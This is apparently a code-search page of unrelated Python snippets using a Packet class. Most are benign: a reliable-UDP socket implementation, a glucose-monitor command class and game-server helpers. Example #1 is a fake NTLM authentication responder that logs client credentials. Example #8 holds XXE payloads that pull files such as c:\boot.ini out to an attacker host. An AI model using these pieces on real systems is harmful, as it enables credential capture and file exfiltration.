コード例 #1
0
 def do_ntlm_auth(self, data):
     if 'Authorization:' not in data:
         return packets.Packet(headers={'WWW-Authenticate': 'NTLM'},
                               status=401)
     else:
         LOGGER.info('Begin NTLM auth')
         auth_string = RE_NTLM_AUTH.search(data)
         if not auth_string:
             return packets.Packet(status=404)
         else:
             try:
                 data = auth_string.group(1).decode('base64')
                 LOGGER.info("NTLM: %r", data)
             except Exception as e:
                 self.close_when_done()
                 return
             if data[8] == '\x01':
                 return packets.Packet(
                     status=401,
                     headers={
                         'WWW-Authenticate':
                         'NTLM {0}'.format(
                             'NTLMSSP\0\2\0\0\0\0\0\0\0\x82\0\0\1\x82\0\x0011223344\0\0\0\0\0\0\0\0'
                             .encode('base64'))
                     })
             elif data[8] == '\x03':
                 return packet.Packet()
コード例 #2
0
    def connect(self, address):

        #create an initial syn packet to send to the server
        print("Connecting!")
        samSocket.bind((address[0], UDPportR))
        self.init_seq_no = randint(1, math.pow(2, 64) - 1)
        self.ack_no = 0
        syn_pack = packets.Packet()
        syn_pack.header.flags = 0x1
        syn_pack.header.sequence_no = self.init_seq_no
        syn_pack.body = "The Syn packet body"
        syn_pack = syn_pack.packMe()

        #print("client_isn", self.init_seq_no)

        #create a loop to send packet and lsiten for acknowledgement back. If there is a timeout, then resend
        while True:

            samSocket.sendto(syn_pack, (address[0], UDPportT))

            try:
                samSocket.settimeout(1)
                data, addr = samSocket.recvfrom(1024)
                if (data, addr) == (1, 1):
                    continue
                #print("Unpacked Header Recieved:", packets.udpPkt_hdr_data.unpack(data))
                break
            except syssock.timeout:
                print("resending syn_packet")
                time.sleep(1)
                continue
            finally:
                samSocket.settimeout(None)

        #if here is reached, then an ack should have been recieved, so check if proper flag and isn
        received = packets.Packet(data[:40], data[40:])

        if received.header.ack_no != self.init_seq_no + 1 or received.header.flags != packets.SOCK352_SYN:

            print("Error receiving ACK from server for connection")
            return

        #set appropriate states
        #the third part of the handshake will be sent with the first data sent

        self.connected = True
        self.ack_no = received.header.ack_no - 1
        self.next_seq_no = received.header.ack_no
        self.connections.append((address[0], UDPportT))
        print("Connected from client side")

        return
コード例 #3
0
    def setUp(self):
        """Sets up new mock and test objects for each test."""

        self.mock = mock.Mock()
        self.test = packets.Packet()
        self.config = configurator.Config()
        self.config.set_config()
コード例 #4
0
ファイル: commands.py プロジェクト: Nightscou2018/MeinKPS
    def __init__(self, cgm):

        """
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
            INIT
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        """

        # Initialize command code byte
        self.code = None

        # Initialize command database byte
        self.database = None

        # Initialize command page byte
        self.page = None

        # Initialize command response
        self.response = None

        # Give the command a packet
        self.packet = packets.Packet()

        # Link with CGM
        self.cgm = cgm
コード例 #5
0
    def accept(self):

        #function to accept a connection at the port

        #loops to recieve connections, if it is not a syn packet it will return (-1, -1)
        while True:

            try:
                samSocket.settimeout(0.2)
                data, addr = samSocket.recvfrom(1024)
                if (data, addr) == (1, 1):
                    continue
                break
            except syssock.timeout:

                time.sleep(1)
                continue
            finally:
                samSocket.settimeout(None)

        #now that a SYN packet shoudl have been recieved, check it to make sure it is one
        received = packets.Packet(data[:40], data[40:])
        if received.header.flags != 1:
            print("Did not accept a syn packet")
            return (-1, -11)

        self.init_seq_no = randint(1, math.pow(2, 64) - 1)

        #prepare and pack an ACK packet
        ack_pack = packets.Packet()
        ack_pack.header.flags = 0x1
        ack_pack.header.ack_no = received.header.sequence_no + 1
        #print("ack no:", ack_pack.header.ack_no)
        ack_pack.header.sequence_no = self.init_seq_no
        self.next_seq_no = ack_pack.header.ack_no
        ack_pack.body = "ack_pack body"
        self.last_ack_sent = ack_pack.header.ack_no
        ack_pack = ack_pack.packMe()
        print(addr)
        sent = samSocket.sendto(ack_pack, addr)

        #server init_seq no is now recieved init sequence + 1
        #sends this to client

        sock = self
        print("Connected from Server side")
        return (sock, addr)
コード例 #6
0
    def _processBuffer(self):
        if self.current_packet is None and len(self.buffer) >= 3:
            self.current_packet = packets.Packet()
            self.current_packet.unpack(self.buffer)

        if self.current_packet is not None and len(
                self.buffer) >= self.current_packet.size:
            packet = packets.unpack(self.buffer)
            self.buffer = self.buffer[packet.size:]
            self.factory.input.put_nowait((self, packet))
            self.current_packet = None
            self._processBuffer()
コード例 #7
0
    def recvACKS(self, dictA, sam, end):

        while True:
            #if the end of sending is signaled, exit the loop
            if 0 in end:
                return
            try:
                sam.settimeout(0.2)
                d, a = sam.recvfrom(1024)

                if (d, a) == (1, 1):
                    continue

            except syssock.timeout:
                continue

            d = packets.Packet(d[:40], d[40:])

            #check to get rid of all packets now acknowledged
            mutex.acquire()

            if d.header.ack_no > self.ack_no:
                self.ack_no = d.header.ack_no
                #print("ACk for", d.body, d.header.ack_no)

            #remove all acks for packets before the one that was acked, as it could be a cumulitive ack
            l = {}
            for i in list(dictA):
                if i <= d.header.ack_no:
                    l[i] = 0

            for i in l:
                del dictA[i]
            l = {}
            mutex.release()

        return
コード例 #8
0
INT_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1234
LISTEN_PORT = ''
if INT_PORT:
    LISTEN_PORT = ":{0}".format(INT_PORT)

FILE_LIST = [
    r'c:\boot.ini',
    r'd:\boot.ini',
]

PAYLOADS = {
    'xml_test':
    packets.Packet('''<?xml version="1.0" encoding="UTF-8" standalone="no"?>
    <!DOCTYPE html [
        <!ENTITY % external SYSTEM "http://{host}{port}/{filename}">
        %external;
        ]>
    <html>
        <element attrib=""></element>
    </html>'''),
    'xml':
    packets.Packet('''<?xml version="1.0" encoding="UTF-8" standalone="no"?>
    <!DOCTYPE html [
        <!ENTITY % external SYSTEM "http://{host}{port}/{filename}">
        %external;
        %intern;
        %trick;
        ]>
    <html>
        <element attrib="">&test;</element>
    </html>'''),
コード例 #9
0
    def recv(self, file_len):

        print('Starting to receive', file_len, ' bytes of data')
        total_recv = 0
        data = ""

        while total_recv < file_len:

            #time.sleep(1)

            try:
                samSocket.settimeout(0.2)
                d, a = samSocket.recvfrom(FRAGMENTSIZE)
                if (d, a) == (1, 1):
                    continue

            except syssock.timeout:
                #print("Still waiting to revceive ", file_len, total_recv)
                continue

            received = packets.Packet(d[:40], d[40:])

            #if server thinks it is connected but client isnt, resend the ack to the syn pack recieved
            #connection ACK must have dropped, so resend
            #just continuing the handshake to ensure a proper 3-way handshake
            if received.header.flags == packets.SOCK352_SYN:
                print("resending setup_ack!")
                ack_pack = packets.Packet()
                ack_pack.header.flags = packets.SOCK352_SYN
                ack_pack.header.ack_no = received.header.sequence_no + 1
                self.last_ack_sent = ack_pack.header.ack_no
                ack_pack.body = "Connected"
                ack_pack = ack_pack.packMe()
                samSocket.sendto(ack_pack, a)
                continue

            #if packet is too far, resend last ack sent and discard this data
            if self.next_seq_no != received.header.sequence_no:
                #print("Out of order. Discarding:")
                ack_pack = packets.Packet()
                ack_pack.body = "Resent ack" + str(self.last_ack_sent)
                ack_pack.header.ack_no = self.last_ack_sent
                ack_pack = ack_pack.packMe()
                samSocket.sendto(ack_pack, a)
                #print("Not correct order. Will wait for next sent packet and discard this one", self.next_seq_no, received.header.sequence_no)
                #print(self.next_seq_no, received.header.sequence_no)
                continue

            #print("What'd I get", received.body)

            #prepare and send an ACK packet for the received data
            self.next_seq_no = self.next_seq_no + received.header.payload_len
            ack_pack = packets.Packet()
            ack_pack.header.ack_no = received.header.sequence_no + received.header.payload_len
            self.last_ack_sent = ack_pack.header.ack_no
            ack_pack.header.sequence_no = received.header.ack_no + 1
            ack_pack.header.flags = packets.SOCK352_ACK
            ack_pack.body = "Thanks for " + received.body
            #print(ack_pack.body)
            ack_pack = ack_pack.packMe()
            samSocket.sendto(ack_pack, a)

            #keep track of the bytes received and the total data
            total_recv = total_recv + len(received.body)
            #print(total_recv, " ", received.body, " ", self.last_ack_sent)
            data = data + received.body

            if total_recv == file_len:
                break

        #print(data)
        return data
コード例 #10
0
    def send(self, data):

        print("Starting to send data from sequence no#:", self.next_seq_no)

        end = {}
        total_sent = 0
        counter = 0

        size = 0
        reset = []
        reset.append(0)

        #starts a thread to check the time for ACKS
        t1 = threading.Thread(target=self.timeACKS,
                              args=(self.acks_needed, reset, end))
        t1.start()

        #starts a thread to recv ACKS, and delete them from the list of needed ACKs
        t2 = threading.Thread(target=self.recvACKS,
                              args=(self.acks_needed, samSocket, end))
        t2.start()

        #loop to send the data
        while total_sent < len(data):

            #time.sleep(1)
            send_pack = packets.Packet()
            counter = counter + 1
            #print(total_sent)
            #if the size is less than the Fragment size, send whatever is left
            if len(data[total_sent:]) + 40 <= FRAGMENTSIZE:
                size = len(data[total_sent:])

                send_pack.body = data[total_sent:]
                send_pack.header.sequence_no = self.next_seq_no
                send_pack.header.payload_len = size
                self.next_ack = self.next_seq_no + size
                self.acks_needed[self.next_seq_no + size] = time.time()
                #print(send_pack.body, self.acks_needed)
                self.next_seq_no = self.next_seq_no + size

            #else, send the size of the fragment
            else:
                size = FRAGMENTSIZE - 40
                send_pack.body = data[total_sent:(total_sent + FRAGMENTSIZE -
                                                  40)]

                send_pack.header.payload_len = size

                self.next_ack = self.next_seq_no + size
                self.acks_needed[self.next_ack] = time.time()
                send_pack.header.sequence_no = self.next_seq_no
                self.next_seq_no = self.next_seq_no + size

            #print("Sending:", send_pack.body, total_sent + size)
            send_pack = send_pack.packMe()

            samSocket.sendto(send_pack, self.connections[0])

            total_sent = total_sent + size

            #if whole file has been sent, wait the timeout period to ensure all other acks are recieved
            if total_sent >= len(data):
                time.sleep(0.3)

            #check to see if there are missing acks, and go back if needed

            mutex.acquire()

            if reset[0] != 0:

                difference = self.next_seq_no - self.ack_no
                total_sent = total_sent - difference
                #check here to see if it is doin go back N properly
                #print(self.ack_no, "rewinding by", difference, "to", data[total_sent:total_sent+10])
                self.next_seq_no = self.ack_no
                reset[0] = 0
            mutex.release()

        mutex.acquire()
        #send signals to the threads so they end their loops
        end[0] = True
        mutex.release()
        t1.join()
        t2.join()

        return total_sent + counter * 40
コード例 #11
0
_spack_doc: Final[str] = 'Send a specific (empty) packet by id to a player.'


@command(trigger='!spack',
         priv=Privileges.Dangerous,
         public=False,
         doc=_spack_doc)
async def send_empty_packet(p: Player, c: Messageable,
                            msg: Sequence[str]) -> str:
    if len(msg) < 2 or not msg[-1].isnumeric():
        return 'Invalid syntax: !spack <name> <packetid>'

    if not (t := await glob.players.get_by_name(' '.join(msg[:-1]))):
        return 'Could not find a user by that name.'

    packet = packets.Packet(int(msg[-1]))
    t.enqueue(await packets.write(packet))
    return f'Wrote {packet} to {t}.'


_debug_doc: Final[str] = "Toggle the console's debug setting."


@command(priv=Privileges.Dangerous, public=False, doc=_debug_doc)
async def debug(p: Player, c: Messageable, msg: Sequence[str]) -> str:
    glob.config.debug = not glob.config.debug

    return f"Toggled {'on' if glob.config.debug else 'off'}."


str_to_priv = lambda p: defaultdict(
コード例 #12
0
def error_packet(content=None, params={}):
    """Return a response packet with error code."""
    return packets.Packet(content=content,
                          params=params,
                          code=protocol.ERROR_CODE)
コード例 #13
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def success_packet(content=None, params={}):
    """Return a response packet with success code."""
    return packets.Packet(content=content,
                          params=params,
                          code=protocol.SUCCESS_CODE)